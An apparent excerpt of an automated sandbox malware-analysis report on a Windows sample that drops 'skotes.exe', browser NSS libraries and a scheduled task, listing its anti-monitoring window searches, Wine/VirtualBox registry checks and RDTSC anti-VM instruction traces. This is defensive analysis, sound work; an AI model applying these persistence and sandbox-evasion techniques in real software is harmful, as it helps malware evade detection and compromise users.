Source: skotes.exe.25.dr	Static PE information: section name: entropy: 7.985517308898134
Source: skotes.exe.25.dr	Static PE information: section name: ovllquoa entropy: 7.95254035685974

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCBKFBFCGI.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009228001\d59148a0e0.exe	Jump to dropped file
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsGCBKFBFCGI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCBKFBFCGI.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCBKFBFCGI.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsGCBKFBFCGI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAB55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FC76 second address: A1FC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FC7B second address: A1FC85 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA38C221FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EF9B second address: A1EFE4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007FEA38E8CA36h 0x00000009 jne 00007FEA38E8CA36h 0x0000000f pop edi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007FEA38E8CA36h 0x00000019 jmp 00007FEA38E8CA3Dh 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FEA38E8CA3Bh 0x00000029 jmp 00007FEA38E8CA42h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EFE4 second address: A1EFFA instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEA38C221F6h 0x00000008 jng 00007FEA38C221F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F290 second address: A1F29A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F29A second address: A1F2A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F2A0 second address: A1F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F2A9 second address: A1F2AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F2AF second address: A1F2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F569 second address: A1F584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C22206h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F584 second address: A1F59F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38E8CA47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A227C8 second address: A227FB instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA38C221F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FEA38C221FCh 0x00000010 js 00007FEA38C221F6h 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f pop eax 0x00000020 jo 00007FEA38C221F8h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A227FB second address: A22818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38E8CA49h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22885 second address: A2289A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEA38C221FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2289A second address: A228FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FEA38E8CA38h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov esi, dword ptr [ebp+122D2927h] 0x0000002b and ch, FFFFFFD3h 0x0000002e call 00007FEA38E8CA39h 0x00000033 jmp 00007FEA38E8CA43h 0x00000038 push eax 0x00000039 pushad 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d jl 00007FEA38E8CA36h 0x00000043 popad 0x00000044 push eax 0x00000045 push edx 0x00000046 jng 00007FEA38E8CA36h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A228FE second address: A22902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22902 second address: A2291D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEA38E8CA3Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2291D second address: A22944 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEA38C221F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FEA38C221FCh 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jnp 00007FEA38C22204h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnp 00007FEA38C221F6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22B9E second address: A22BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEA38E8CA38h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jnc 00007FEA38E8CA3Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007FEA38E8CA36h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22BC1 second address: A22C5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a movsx esi, ax 0x0000000d push 887C3EC8h 0x00000012 pushad 0x00000013 jmp 00007FEA38C22204h 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c popad 0x0000001d add dword ptr [esp], 7783C1B8h 0x00000024 mov dword ptr [ebp+122D23C6h], ecx 0x0000002a push 00000003h 0x0000002c add edi, 0CDDCAD9h 0x00000032 push 00000000h 0x00000034 mov ecx, dword ptr [ebp+122D29FBh] 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007FEA38C221F8h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 and ecx, 1D9B3D40h 0x0000005c pushad 0x0000005d jns 00007FEA38C221FCh 0x00000063 mov esi, 24675D66h 0x00000068 popad 0x00000069 push 8DFFF090h 0x0000006e push edi 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FEA38C22201h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22C5E second address: A22CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 32000F70h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FEA38E8CA38h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 clc 0x00000029 lea ebx, dword ptr [ebp+124466E4h] 0x0000002f jmp 00007FEA38E8CA3Fh 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 push ebx 0x00000037 pushad 0x00000038 popad 0x00000039 pop ebx 0x0000003a push edx 0x0000003b je 00007FEA38E8CA36h 0x00000041 pop edx 0x00000042 popad 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 push ebx 0x00000048 pop ebx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22CBC second address: A22CC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A109A1 second address: A109CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jg 00007FEA38E8CA36h 0x0000000c jmp 00007FEA38E8CA49h 0x00000011 pop edi 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41259 second address: A4128D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEA38C22204h 0x0000000f jmp 00007FEA38C22206h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4128D second address: A41297 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEA38E8CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A413FB second address: A413FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A413FF second address: A4143B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FEA38E8CA3Fh 0x0000000f jmp 00007FEA38E8CA45h 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4143B second address: A4143F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4143F second address: A41445 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A416FC second address: A41700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41834 second address: A4183A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4183A second address: A4183E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4183E second address: A4185B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEA38E8CA40h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4185B second address: A4186F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4186F second address: A4187C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007FEA38E8CA3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42281 second address: A42285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42285 second address: A42299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Bh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D3B8 second address: A0D3BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42945 second address: A42952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jne 00007FEA38E8CA36h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42AEE second address: A42AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A461DB second address: A461E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4586B second address: A4586F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46831 second address: A46835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46835 second address: A4687C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FEA38C221F6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FEA38C22201h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 push eax 0x00000019 je 00007FEA38C221F6h 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FEA38C22209h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46A04 second address: A46A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46A0A second address: A46A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D0F8 second address: A4D100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D282 second address: A4D287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D287 second address: A4D29A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38E8CA3Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D6B4 second address: A4D6C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38C221FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D6C2 second address: A4D6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D84B second address: A4D85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007FEA38C221F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4EEDA second address: A4EEDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4EFA0 second address: A4EFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F2E8 second address: A4F2EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F8F2 second address: A4F8F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FD9C second address: A4FDC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007FEA38E8CA40h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
